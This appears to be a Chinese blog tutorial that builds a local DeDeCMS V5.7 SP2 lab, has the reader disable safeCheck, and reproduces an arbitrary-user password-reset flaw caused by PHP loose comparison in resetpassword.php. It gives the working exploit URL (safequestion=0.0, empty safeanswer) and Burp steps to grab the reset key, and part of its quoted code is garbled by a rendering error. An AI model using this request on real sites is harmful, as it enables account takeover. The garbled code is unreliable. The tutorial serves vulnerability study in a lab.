1.环境搭建
PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy,https://www.xp.cn/小皮面板
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载,点击是就好!
让后点击网站—>点击创建网站
域名自己创建,自己取
其他的不变
点击”创建数据库“
这些设置好就行
然后重启一下Apache2.4.39
这里我创建好了我的
然后打开管理
点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压
解压后把里面的文件放入根目录中,这里注意:解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面,最后保存就好
然后我们访问:你在本机上创建的网站的域名/install
然后按着以下教程安装就好!!!
https://blog.csdn.net/qq_38882327/article/details/89356033
当安装好后,后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开,别忘了调成“是”
然后放回页面,退出我们的账号,来到下面这个页面
打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查
2.漏洞复现
由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击
导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击
漏洞触发位置:dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”){
$mid = preg_replace(“#[^0-9]#”, “”, $id);
KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);
if(empty($safequestion)) $safequestion = ‘’;
if(empty($safeanswer)) $safeanswer = ‘’;
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer){
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
else
{
ShowMsg(“对不起,您的安全问题或答案回答错误”,“-1”);
exit();
}
}
就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数
if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer){
sn($mid, $row[‘userid’], $row[‘email’], ‘N’);
exit();
}
原文链接:https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
这里我们看到mid=2
fouronefour.com/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包,放个包
把amp删掉,key=“密钥”
访问此网站,让后改掉密码即可